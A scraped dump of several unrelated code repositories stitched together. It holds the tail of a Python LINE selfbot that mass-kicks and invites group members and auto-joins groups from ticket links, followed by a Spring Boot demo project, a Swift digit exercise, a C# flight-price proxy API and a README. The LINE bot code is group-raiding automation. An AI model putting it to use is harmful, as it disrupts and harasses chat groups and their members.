kk.sendMessage(to, "sᴛᴀᴛᴜs:\n\nᴋɪᴄᴋ : {} \nɪɴᴠɪᴛᴇ : {}".format(sil1,sil))
try:kc.inviteIntoGroup(to, [Cmid]);has = "OK"
except:has = "NOT"
try:kc.kickoutFromGroup(to, [Cmid]);has1 = "OK"
except:has1 = "NOT"
if has == "OK":sil = "⭕"
else:sil = "⛔"
if has1 == "OK":sil1 = "⭕"
else:sil1 = "⛔"
kc.sendMessage(to, "sᴛᴀᴛᴜs:\n\nᴋɪᴄᴋ : {} \nɪɴᴠɪᴛᴇ : {}".format(sil1,sil))
try:ko.inviteIntoGroup(to, [Dmid]);has = "OK"
except:has = "NOT"
try:ko.kickoutFromGroup(to, [Dmid]);has1 = "OK"
except:has1 = "NOT"
if has == "OK":sil = "⭕"
else:sil = "⛔"
if has1 == "OK":sil1 = "⭕"
else:sil1 = "⛔"
ko.sendMessage(to, "sᴛᴀᴛᴜs:\n\nᴋɪᴄᴋ : {} \nɪɴᴠɪᴛᴇ : {}".format(sil1,sil))
try:jk.inviteIntoGroup(to, [Emid]);has = "OK"
except:has = "NOT"
try:jk.kickoutFromGroup(to, [Emid]);has1 = "OK"
except:has1 = "NOT"
if has == "OK":sil = "⭕"
else:sil = "⛔"
if has1 == "OK":sil1 = "⭕"
else:sil1 = "⛔"
jk.sendMessage(to, "sᴛᴀᴛᴜs:\n\nᴋɪᴄᴋ : {} \nɪɴᴠɪᴛᴇ : {}".format(sil1,sil))
try:sw.inviteIntoGroup(to, [Fmid]);has = "OK"
except:has = "NOT"
try:sw.kickoutFromGroup(to, [Fmid]);has1 = "OK"
except:has1 = "NOT"
if has == "OK":sil = "⭕"
else:sil = "⛔"
if has1 == "OK":sil1 = "⭕"
else:sil1 = "⛔"
sw.sendMessage(to, "sᴛᴀᴛᴜs:\n\nᴋɪᴄᴋ : {} \nɪɴᴠɪᴛᴇ : {}".format(sil1,sil))
#===========JOIN TICKET============#
elif "/ti/g/" in msg.text.lower():
if wait["selfbot"] == True:
if msg._from in admin:
if settings["autoJoinTicket"] == True:
link_re = re.compile('(?:line\:\/|line\.me\/R)\/ti\/g\/([a-zA-Z0-9_-]+)?')
links = link_re.findall(text)
n_links = []
for l in links:
if l not in n_links:
n_links.append(l)
for ticket_id in n_links:
group = cl.findGroupByTicket(ticket_id)
cl.acceptGroupInvitationByTicket(group.id,ticket_id)
cl.sendMessage(msg.to, "Masuk : %s" % str(group.name))
group1 = ki.findGroupByTicket(ticket_id)
ki.acceptGroupInvitationByTicket(group1.id,ticket_id)
ki.sendMessage(msg.to, "Masuk : %s" % str(group.name))
group2 = kk.findGroupByTicket(ticket_id)
kk.acceptGroupInvitationByTicket(group2.id,ticket_id)
kk.sendMessage(msg.to, "Masuk : %s" % str(group.name))
group3 = kc.findGroupByTicket(ticket_id)
kc.acceptGroupInvitationByTicket(group3.id,ticket_id)
kc.sendMessage(msg.to, "Masuk : %s" % str(group.name))
except Exception as error:
print (error)
while True:
try:
Ops = cl.poll.fetchOperations(cl.revision, 50)
for op in Ops:
if op.type != 0:
cl.revision = max(cl.revision, op.revision)
bot(op)
except Exception as E:
E = str(E)
if "reason=None" in E:
print (E)
time.sleep(60)
restart_program()
| 4b18c072e1f7a7151b7fec8e253105a7f1d6db24 | [
"Python"
] | 1 | Python | Namemai/b | 319a23ce848d60220238b6c0fa449de8c0124ab2 | a55893328ac694f8c7c9d112e5f66192f2b23bdf |
refs/heads/master | <repo_name>renhengli518/springboot-mybatis<file_sep>/src/test/java/com/renhengli/ApplicationTests.java
package com.renhengli;
import java.io.File;
import java.util.HashMap;
import java.util.Map;
import java.util.concurrent.TimeUnit;
import javax.mail.internet.MimeMessage;
import org.apache.velocity.app.VelocityEngine;
import org.junit.Assert;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Qualifier;
import org.springframework.boot.test.SpringApplicationConfiguration;
import org.springframework.core.io.FileSystemResource;
import org.springframework.data.redis.core.RedisTemplate;
import org.springframework.data.redis.core.StringRedisTemplate;
import org.springframework.data.redis.core.ValueOperations;
import org.springframework.mail.SimpleMailMessage;
import org.springframework.mail.javamail.JavaMailSender;
import org.springframework.mail.javamail.MimeMessageHelper;
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
import org.springframework.ui.velocity.VelocityEngineUtils;
import com.renhengli.entity.User;
import com.renhengli.rabbit.Receiver;
import com.renhengli.rabbit.Sender;
@RunWith(SpringJUnit4ClassRunner.class)
@SpringApplicationConfiguration(classes = Application.class)
public class ApplicationTests {
@Autowired
private StringRedisTemplate stringRedisTemplate;
@Autowired
private RedisTemplate<String, User> redisTemplate;
@Autowired
@Qualifier("mailSender")
private JavaMailSender mailSender;
@Autowired
private VelocityEngine velocityEngine;
@Autowired
private Sender sender;
@Autowired
private Receiver receiver;
@Test
public void test() throws Exception {
// 保存字符串
stringRedisTemplate.opsForValue().set("aaa", "111");
Assert.assertEquals("111", stringRedisTemplate.opsForValue().get("aaa"));
// 保存对象
User user = new User(1l, "超人", 20);
redisTemplate.opsForValue().set(user.getName(), user);
user = new User(2l, "蝙蝠侠", 30);
redisTemplate.opsForValue().set(user.getName(), user);
user = new User(3l, "蜘蛛侠", 40);
redisTemplate.opsForValue().set(user.getName(), user);
Assert.assertEquals(20, redisTemplate.opsForValue().get("超人").getAge().longValue());
Assert.assertEquals(30, redisTemplate.opsForValue().get("蝙蝠侠").getAge().longValue());
Assert.assertEquals(40, redisTemplate.opsForValue().get("蜘蛛侠").getAge().longValue());
}
@Test
public void test1() throws Exception {
stringRedisTemplate.opsForValue().set("aaa", "111");
Assert.assertEquals("111", stringRedisTemplate.opsForValue().get("aaa"));
}
@Test
public void testObj() throws Exception {
User user = new User(1l, "aa123456", 18);
ValueOperations<String, User> operations = redisTemplate.opsForValue();
operations.set("com.neox", user);
operations.set("com.neo.f", user, 1, TimeUnit.SECONDS);
Thread.sleep(1000);
// redisTemplate.delete("com.neo.f");
boolean exists = redisTemplate.hasKey("com.neo.f");
if (exists) {
System.out.println("exists is true");
} else {
System.out.println("exists is false");
}
// Assert.assertEquals("aa", operations.get("com.neo.f").getUserName());
}
/**
* 测试发邮件
*
* @throws Exception
*/
@Test
public void sendSimpleMail() throws Exception {
SimpleMailMessage message = new SimpleMailMessage();
message.setFrom("<EMAIL>");
message.setTo("<EMAIL>");
message.setSubject("主题:简单邮件");
message.setText("测试邮件内容");
mailSender.send(message);
}
@Test
public void sendAttachmentsMail() throws Exception {
MimeMessage mimeMessage = mailSender.createMimeMessage();
MimeMessageHelper helper = new MimeMessageHelper(mimeMessage, true);
helper.setFrom("<EMAIL>");
helper.setTo("<EMAIL>");
helper.setSubject("主题:有附件");
helper.setText("有附件的邮件");
FileSystemResource file = new FileSystemResource(new File("E:/temp/image/test.jpg"));
helper.addAttachment("附件-1.jpg", file);
helper.addAttachment("附件-2.jpg", file);
mailSender.send(mimeMessage);
}
@Test
public void sendInlineMail() throws Exception {
MimeMessage mimeMessage = mailSender.createMimeMessage();
MimeMessageHelper helper = new MimeMessageHelper(mimeMessage, true);
helper.setFrom("<EMAIL>");
helper.setTo("<EMAIL>");
helper.setSubject("主题:嵌入静态资源");
helper.setText("<html><body><img src=\"cid:weixin\" ></body></html>", true);
FileSystemResource file = new FileSystemResource(new File("E:/temp/image/test.jpg"));
helper.addInline("weixin", file);
mailSender.send(mimeMessage);
}
@Test
public void sendTemplateMail() throws Exception {
MimeMessage mimeMessage = mailSender.createMimeMessage();
MimeMessageHelper helper = new MimeMessageHelper(mimeMessage, true);
helper.setFrom("<EMAIL>");
helper.setTo("<EMAIL>");
helper.setSubject("主题:模板邮件");
Map<String, Object> model = new HashMap<String,Object>();
model.put("username", "didi");
String text = VelocityEngineUtils.mergeTemplateIntoString(velocityEngine, "template.vm", "UTF-8", model);
helper.setText(text, true);
mailSender.send(mimeMessage);
}
/**
* rabbitMQ test
* @throws Exception
*/
@Test
public void send() throws Exception {
sender.send();;
}
@Test
public void receiver() throws Exception {
receiver.process("hello");
}
}<file_sep>/src/main/java/com/renhengli/controller/UserController.java
package com.renhengli.controller;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.servlet.ModelAndView;
import com.renhengli.entity.User;
import com.renhengli.mapper.UserMapper;
/**
*
* @author renhengli
*
*/
@RestController
@RequestMapping({ "/home" })
public class UserController {
@Autowired
UserMapper userMapper;
@RequestMapping(value = "/user")
@ResponseBody
public String user(ModelAndView md) {
User user = userMapper.findUserByName("王伟");
String ss = user.getName() + "-----" + user.getAge();
return ss;
}
}
<file_sep>/pom.xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>springboot-mybatis</groupId>
<artifactId>springboot-mybatis</artifactId>
<version>1.0.0</version>
<packaging>war</packaging>
<name>springBoot-mybatis</name>
<description>Spring Boot project</description>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>1.3.2.RELEASE</version>
<relativePath />
</parent>
<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<java.version>1.7</java.version>
<spring.security.version>3.2.5.RELEASE</spring.security.version>
<boot.version>1.3.5.RELEASE</boot.version>
<!-- The main class to start by executing java -jar -->
<start-class>com.renhengli.Application</start-class>
</properties>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter</artifactId>
<exclusions>
<exclusion>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-logging</artifactId>
</exclusion>
</exclusions>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-log4j</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.mybatis.spring.boot</groupId>
<artifactId>mybatis-spring-boot-starter</artifactId>
<version>1.1.1</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
</dependency>
<!-- <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency> -->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-freemarker</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-mail</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-velocity</artifactId>
</dependency>
<!-- <dependency> <groupId>org.apache.tomcat.embed</groupId> <artifactId>tomcat-embed-jasper</artifactId>
<scope>provided</scope> </dependency> -->
<!-- servlet 依赖. -->
<!-- <dependency> <groupId>javax.servlet</groupId> <artifactId>javax.servlet-api</artifactId>
<scope>provided</scope> </dependency> -->
<!-- JSTL(JSP Standard Tag Library,JSP标准标签库)是一个不断完善的开放源代码的JSP标签库,是由apache的jakarta小组来维护的。JSTL只能运行在支持JSP1.2和Servlet2.3规范的容器上,如tomcat
4.x。在JSP 2.0中也是作为标准支持的。 不然报异常信息: javax.servlet.ServletException: Circular
view path [/helloJsp]: would dispatch back to the current handler URL [/helloJsp]
again. Check your ViewResolver setup! (Hint: This may be the result of an
unspecified view, due to default view name generation.) -->
<!-- <dependency> <groupId>javax.servlet</groupId> <artifactId>jstl</artifactId>
</dependency> -->
<dependency>
<groupId>org.springframework.data</groupId>
<artifactId>spring-data-commons</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-security</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-cache</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-redis</artifactId>
</dependency>
<!-- <dependency> <groupId>com.google.guava</groupId> <artifactId>guava</artifactId>
<version>19.0</version> </dependency> -->
<!-- JPA操作数据库. -->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-data-jpa</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-aop</artifactId>
</dependency>
<!-- 消息队列rabbitMQ -->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-amqp</artifactId>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
<dependencies>
<!--spring热部署-->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>springloaded</artifactId>
<version>1.2.6.RELEASE</version>
</dependency>
</dependencies>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-surefire-plugin</artifactId>
<configuration>
<skip>true</skip>
</configuration>
</plugin>
</plugins>
</build>
</project><file_sep>/src/main/java/com/renhengli/controller/User1Controller.java
package com.renhengli.controller;
import java.io.File;
import java.util.Map;
import java.util.concurrent.TimeUnit;
import javax.mail.internet.MimeMessage;
import javax.servlet.http.HttpServletRequest;
import org.apache.log4j.Logger;
import org.apache.velocity.app.VelocityEngine;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Qualifier;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.core.io.FileSystemResource;
import org.springframework.data.redis.core.RedisTemplate;
import org.springframework.data.redis.core.StringRedisTemplate;
import org.springframework.mail.SimpleMailMessage;
import org.springframework.mail.javamail.JavaMailSender;
import org.springframework.mail.javamail.MimeMessageHelper;
import org.springframework.stereotype.Controller;
import org.springframework.ui.ModelMap;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import com.renhengli.entity.User;
import com.renhengli.exception.MyException;
import com.renhengli.mapper.UserMapper;
import com.renhengli.service.DemoService;
/**
*
* @author renhengli
*
*/
@Controller
@RequestMapping("/home")
public class User1Controller {
private static Logger logger = Logger.getLogger(User1Controller.class);
@Autowired
UserMapper userMapper;
@Autowired
DemoService demoService;
@Autowired
private StringRedisTemplate stringRedisTemplate;
@Autowired
private RedisTemplate<String, User> redisTemplate;
@Autowired
@Qualifier("mailSender")
private JavaMailSender mailSender;
@Autowired
private VelocityEngine velocityEngine;
// 从 application.properties 中读取配置,如取不到默认值为Hello Shanhy
@Value("${application.hello:Hello Angel}")
private String hello;
@RequestMapping("/user1")
public String user1(Map<String, Object> map) {
logger.info("-----start-------");
logger.debug("-----debug log-------");
logger.error("-----error log-------");
System.out.println("UserController.user1().hello=" + hello);
map.put("hello", hello);
logger.debug("-----end---------");
logger.info("-----end---------");
return "user";
}
@RequestMapping("/test")
@ResponseBody
public String putCache() throws MyException {
try {
// demoService.findUser(1l, "wang", 20);
System.out.println("若下面没出现“无缓存的时候调用”字样且能打印出数据表示测试成功");
return "ok";
} catch (Exception e) {
e.printStackTrace();
throw new MyException(e.getMessage());
}
}
@RequestMapping("/test2")
@ResponseBody
public String testCache() {
// User user = demoService.findUser(1l, "wang", 22);
System.out.println("我这里没执行查询");
// System.out.println("user:" + "/" + user.getName() + "/" +
// user.getAge());
return "ok";
}
/**
* 测试自定义异常
*
* @return
* @throws MyException
*/
@RequestMapping("/json")
public String json() throws MyException {
throw new MyException("发生错误2");
}
@RequestMapping("/hello")
public String hello() throws Exception {
throw new Exception("发生错误");
}
@RequestMapping("/redis")
@ResponseBody
public String redis() throws Exception {
// 保存字符串
stringRedisTemplate.opsForValue().set("aaa", "111");
System.out.println("------------" + stringRedisTemplate.opsForValue().get("aaa") + "--------------------");
// 保存对象
User user = new User(1l, "超人", 20);
redisTemplate.opsForValue().set(user.getName(), user, 50, TimeUnit.SECONDS);
System.out.println("--------------" + redisTemplate.getExpire("超人"));
user = new User(2l, "蝙蝠侠", 30);
redisTemplate.opsForValue().set(user.getName(), user);
user = new User(3l, "蜘蛛侠", 40);
redisTemplate.opsForValue().set(user.getName(), user);
return "ok";
}
@RequestMapping("/freemarker")
public String index(ModelMap map) {
map.addAttribute("host", "http://blog.didispace.com");
return "index";
}
@RequestMapping("/sendMail1")
public String sendMail1(ModelMap map) throws MyException {
try {
map.addAttribute("host", "http://blog.didispace.com");
SimpleMailMessage message = new SimpleMailMessage();
message.setFrom("<EMAIL>");
message.setTo("<EMAIL>");
message.setSubject("主题:简单邮件");
message.setText("测试邮件内容");
mailSender.send(message);
return "index";
} catch (Exception e) {
e.printStackTrace();
logger.error(e);
return "index";
}
}
@RequestMapping("/sendMail2")
public String sendMail2(ModelMap map, HttpServletRequest request) throws MyException {
try {
map.addAttribute("host", "http://blog.didispace.com");
MimeMessage mimeMessage = mailSender.createMimeMessage();
MimeMessageHelper helper = new MimeMessageHelper(mimeMessage, true);
helper.setFrom("<EMAIL>");
helper.setTo("<EMAIL>");
helper.setSubject("主题:有附件");
helper.setText("有附件的邮件");
FileSystemResource file = new FileSystemResource(new File("E:/temp/image/test.jpg"));
helper.addAttachment("附件-1.jpg", file);
helper.addAttachment("附件-2.jpg", file);
mailSender.send(mimeMessage);
return "index";
} catch (Exception e) {
e.printStackTrace();
logger.error(e);
return "index";
}
}
}
<file_sep>/src/main/java/com/renhengli/mapper/UserMapper.java
package com.renhengli.mapper;
import org.apache.ibatis.annotations.Mapper;
import org.apache.ibatis.annotations.Param;
import org.apache.ibatis.annotations.Select;
import com.renhengli.entity.User;
/**
*
* @author renhengli
*
*/
@Mapper
public interface UserMapper {
@Select("select * from user where name = #{name}")
User findUserByName(@Param("name") String name);
}<file_sep>/src/main/java/com/renhengli/security/WebAuthConfiguration.java
package com.renhengli.security;
import org.apache.log4j.Logger;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.context.annotation.Configuration;
import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder;
import org.springframework.security.config.annotation.method.configuration.EnableGlobalMethodSecurity;
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;
import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;
@EnableGlobalMethodSecurity(prePostEnabled = true)
@Configuration
@EnableWebSecurity
public class WebAuthConfiguration extends WebSecurityConfigurerAdapter {
private static Logger logger = Logger.getLogger(WebAuthConfiguration.class);
protected void configure(HttpSecurity http) throws Exception {
logger.debug(
"Using default configure(HttpSecurity). If subclassed this will potentially override subclass configure(HttpSecurity).");
// http.authorizeRequests().anyRequest().authenticated().and().formLogin().and().httpBasic();
http.authorizeRequests().antMatchers("/home/*", "/","/static/**").permitAll()
.anyRequest().authenticated().and().formLogin()
.usernameParameter("username").passwordParameter("<PASSWORD>").loginProcessingUrl("/login")
.loginPage("/login").and().logout().permitAll().logoutUrl("/logout").logoutSuccessUrl("/login")
//.logoutSuccessHandler(logoutSuccessHandler)
.invalidateHttpSession(true)
//.addLogoutHandler(logoutHandler)
.deleteCookies(new String[] { "currentUser" }).and().rememberMe();
}
// @Autowired
// public void configureGlobal(AuthenticationManagerBuilder auth) throws Exception {
// auth.jdbcAuthentication().dataSource(dataSource)
// .usersByUsernameQuery("select username,password, enabled from users where username=?")
// .authoritiesByUsernameQuery("select username, role from user_roles where username=?");
// }
// @Autowired
// public void configureGlobal(AuthenticationManagerBuilder auth) throws Exception {
// PasswordEncoder passwordEncoder = new BCryptPasswordEncoder();
// auth.eraseCredentials(false).userDetailsService(userDetailsService).passwordEncoder(passwordEncoder);
// }
@Autowired
public void configureGlobal(AuthenticationManagerBuilder auth) throws Exception {
auth
.inMemoryAuthentication()
.withUser("user").password("<PASSWORD>").roles("USER");
}
}<file_sep>/src/main/java/com/renhengli/config/MyWebAppConfigurer.java
package com.renhengli.config;
import org.springframework.context.annotation.Configuration;
import org.springframework.web.servlet.config.annotation.InterceptorRegistry;
import org.springframework.web.servlet.config.annotation.ResourceHandlerRegistry;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurerAdapter;
import com.renhengli.interceptor.ErrorInterceptor;
@Configuration
public class MyWebAppConfigurer extends WebMvcConfigurerAdapter {
@Override
public void addInterceptors(InterceptorRegistry registry) {
// 多个拦截器组成一个拦截器链
// addPathPatterns 用于添加拦截规则
// excludePathPatterns 用户排除拦截
registry.addInterceptor(new ErrorInterceptor()).addPathPatterns("/**");
super.addInterceptors(registry);
}
//这种方式会在默认的基础上增加/static/**映射到classpath:/static/,不会影响默认的方式,可以同时使用
// @Override
// public void addResourceHandlers(ResourceHandlerRegistry registry) {
// registry.addResourceHandler("/static/**")
// .addResourceLocations("classpath:/static/");
// }
} | 9bdf6fa01e61031b2495231102f79ab67157765f | [
"Java",
"Maven POM"
] | 7 | Java | renhengli518/springboot-mybatis | 42702da2756f587dcfee10de96885ccb8a73db53 | 3cc34e30e260cde03645c0b72d2ec6eceb2dbd42 |
refs/heads/master | <file_sep>## Functions makeCacaheMatrix and cacheSolve implement the solution to
## the second programming assignment and create a cached version of a
## matrix inversion.
## This function creates a special "matrix" object that can cache its inverse.
makeCacheMatrix <- function(x = matrix()) {
s <- NULL
set <- function(y) {
x <<- y
s <<- NULL
}
get <- function() x
setsolved <- function(solved) s <<- solved
getsolved <- function() s
list(set = set, get = get,
setsolved = setsolved,
getsolved = getsolved)
}
## This function computes the inverse of the special "matrix" returned by
## makeCacheMatrix above. If the inverse has already been calculated (and
## the matrix has not changed), then cacheSolve should retrieve the inverse
## from the cache.
cacheSolve <- function(x, ...) {
## Return a matrix that is the inverse of 'x'
s <- x$getsolved()
if(!is.null(s)) {
message("getting cached data")
return(s)
}
data <- x$get()
s <- solve(data, ...)
x$setsolved(s)
s
}
| 63fc8f1b93b4cd3f636a7551461977349b5a4625 | [
"R"
] | 1 | R | trp0/ProgrammingAssignment2 | 7f71775ba99c2ea51624ad3a8fd7630258d6c714 | 50bcceca238c1599b86b1170431c44e181d1a5ee |
refs/heads/main | <file_sep>const fs = require('fs');
const express = require('express');
const path = require('path');
const ejs = require('ejs');
const bodyParser = require('body-parser');
const { response } = require('express');
const app = express();
const filePath = path.join(path.dirname(require.main.filename), 'data', 'infoDB.json');
app.set('view engine', ejs);
app.use(express.static('public'));
app.get('/',(req,res) =>{
fs.readFile(filePath,(error, fileContent) => {
if(error){
console.log(error);
}else{
let infoBd = JSON.parse(fileContent);
res.render(path.join(__dirname, 'views', 'index.ejs'),{
richs: infoBd
});
}
});
});
app.listen(5000,()=>{
console.log('Server is runing on Port 5000');
}); | eeaad9aa324957fe6a4e12ab901510d44602d0eb | [
"JavaScript"
] | 1 | JavaScript | Vladikkruusman/Billionairs | 2cf437fa0f0e22dea551544d66d1c99803544fdd | 2ad7a896e34d1ea98c0470162a64617246e5f3b7 |
refs/heads/master | <file_sep>FROM openjdk:8-jdk-alpine
ARG JAR_FILE=target/*.jar
COPY ${JAR_FILE} taskIMB.jar
ENTRYPOINT ["java","-jar","/taskIMB.jar"]<file_sep>package com.example.taskIBM.controller;
import com.example.taskIBM.data.Data;
import com.example.taskIBM.data.ElectionData;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.client.RestTemplate;
import java.util.Comparator;
import java.util.List;
import java.util.stream.Collectors;
@RestController
public class Controller {
private static final Logger log = LoggerFactory.getLogger(Controller.class);
private static final String url = "https://www.vrk.lt/statiniai/puslapiai/rinkimai/rt.json";
@Autowired
private RestTemplate restTemplate;
// sorting by date 2016, 2017 and etc
@GetMapping("/election/sort")
public List<Data> getElection(@RequestParam(defaultValue = "false") boolean sorted){
log.info("received para sorted " + sorted);
ElectionData electionData = restTemplate.getForObject(
url, ElectionData.class);
assert electionData != null;
List<Data> sortedElectionList = electionData.getData().stream().
sorted(Comparator.comparing(Data::getRink_data)).collect(Collectors.toList());
return sortedElectionList;
}
@GetMapping("/election/")
public List<Data> getElectionByData(@RequestParam(defaultValue = "false") boolean sorted){
log.info("received para sorted " + sorted);
ElectionData electionData = restTemplate.getForObject(
url, ElectionData.class);
return electionData.getData();
}
}
| b8871d5ab6d2132aa3bd22f940b88e0a53832d7b | [
"Java",
"Dockerfile"
] | 2 | Dockerfile | domasua/Election-list | 364657647cc37cd973b84aa42f201ebdbd2ea418 | b6268b6de45b303064aaf69a2854657c0357473f |
refs/heads/master | <repo_name>lcs-ada/From1987to2013<file_sep>/From1987to2013/main.swift
//
// main.swift
// RotatingLetters
//
// Created by <NAME> on 2018-04-06.
// Copyright © 2018 <NAME>. All rights reserved.
//
import Foundation
//Create a global variable that will store the valid input
var validYear = 0
//Loop forever until vaild input is found
while 1 == 1 {
//test 1: Wait for input AND at the same time, ensure input is not nil
guard let givenYear = readLine() else {
//nil input? more tests?
//prompt again
continue
}
//test 2: is it an integer?
guard let integerYear = Int(givenYear) else {
// input
//if not integers.
continue// loop
}
//test #3: Is the integer in the correct range?
if integerYear < 2013 || integerYear > 1987 {
//if not in the correct range
continue // loop
}
// vailed input got
validYear = integerYear
break //Important: gets us out of the infinite loop
} //END of the loop
//check Next year
checkNextYear: while 1 == 1 {
//check the next year
validYear += 1
//test the number2 is distinct digits or not
var number : [Character : Int] = [:]
// Create a phrase to inspect
let numberOfNumber = String(validYear)
// Iterate over each Character in the String
for character in numberOfNumber {
// Keep track of how often a character occurs in a word
if number[character] == nil {
// This character didn't yet exist as a key in the dictionary, so create a key with this character and set the value to 1
number[character] = 1
} else {
continue checkNextYear
}
}
print(number)
break
}
// Print out the output
print("the next distinct digit year is \(validYear) ")
| b789ae530cad612673c25243273558c80b008713 | [
"Swift"
] | 1 | Swift | lcs-ada/From1987to2013 | 8ff3fc318dc1dca4eac8292991774f57400835e1 | 14b4b8be768e380402bcbe9570c07002213a194c |
refs/heads/master | <repo_name>FrkatSmrkat/KindredTestAssignment<file_sep>/RequestTestingConsoleApp/Tests.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Net.Http;
using System.Text;
using System.Threading.Tasks;
namespace RequestTestingConsoleApp
{
public class Tests :IDisposable
{
private readonly HttpClient _client;
private readonly string _baseUri;
public Tests(string baseUri)
{
_client = new HttpClient();
if (baseUri.Last() == '/')
{
_baseUri = baseUri.TrimEnd('/');
}
else
{
_baseUri = baseUri;
}
}
public void Dispose()
{
_client.Dispose();
}
public async Task<string> FireSingleRequestAsync()
{
try
{
HttpResponseMessage response = await _client.GetAsync(_baseUri + "/GetPrices?departureAirport=PRG&arrivalAirport=AMS");
response.EnsureSuccessStatusCode();
return await response.Content.ReadAsStringAsync();
}
catch(Exception e)
{
Console.WriteLine(e.Message);
return string.Empty;
}
}
public async Task<string[]> FireConcurrentRequestsAsync()
{
var tasks = new byte[10].Select(x => FireSingleRequestAsync());
var result = await Task.WhenAll(tasks);
return result;
}
}
}
<file_sep>/CsaProxyApi/CsaApiEndpoints.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
namespace CsaProxyApi
{
public enum CsaApiEndpoints
{
GetPrices,
GetPeriod
}
}
<file_sep>/CsaProxyApi/Controllers/ValuesController.cs
using System.Threading.Tasks;
using CsaProxyApi.Services;
using Microsoft.AspNetCore.Mvc;
namespace CsaProxyApi.Controllers
{
[Produces("application/json")]
[Route("api/[controller]")]
[ApiController]
public class ValuesController : ControllerBase
{
private readonly DataGetterService _dataGetterService;
private readonly CsaApiDataMemoryCacheService _cache;
public ValuesController(DataGetterService dataGetterService, CsaApiDataMemoryCacheService cache)
{
_dataGetterService = dataGetterService;
_cache = cache;
}
// GET api/values
[HttpGet("GetPrices")]
public async Task<IActionResult> GetPrices(string departureAirport, string arrivalAirport)
{
var result = await _dataGetterService.GetDataAsync(departureAirport, arrivalAirport, CsaApiEndpoints.GetPrices);
return Ok(result);
}
// GET api/values/5
[HttpGet("GetPeriod")]
public async Task<IActionResult> GetPeriod(string departureAirport, string arrivalAirport)
{
var result = await _dataGetterService.GetDataAsync(departureAirport, arrivalAirport, CsaApiEndpoints.GetPeriod);
return Ok(result);
}
}
}
<file_sep>/CsaProxyApi/Services/CsaApiDataMemoryCacheService.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using Microsoft.Extensions.Caching.Memory;
using Microsoft.Extensions.Configuration;
namespace CsaProxyApi.Services
{
public class CsaApiDataMemoryCacheService
{
private readonly TimeSpan _absoluteExpirationTime;
private readonly MemoryCache _cache;
public void SetApiDataEntry(string key,string data)
{
var memoryOptions = new MemoryCacheEntryOptions()
.SetAbsoluteExpiration(_absoluteExpirationTime)
.SetSize(data.Length);
_cache.Set(key, data, memoryOptions);
}
public bool TryGetValue(string key, out string value)
{
return _cache.TryGetValue(key, out value);
}
public CsaApiDataMemoryCacheService(IConfiguration config)
{
_absoluteExpirationTime = TimeSpan.FromHours(config.GetSection("CsaApiDataMemoryCache").GetValue<int>("ExpirationTimeInHours"));
_cache = new MemoryCache(new MemoryCacheOptions
{
SizeLimit = config.GetSection("CsaApiDataMemoryCache").GetValue<int>("SizeLimit"),
});
}
}
}
<file_sep>/README.md
# Solution notes
## General info
* I solved level 2 of assignement
* I aimed for the simplest solution
* I used only Asp.Net.Core 2.2
* I tested only proper handling of parallel requests for the same result (instruction for running the test can be find in this document below)
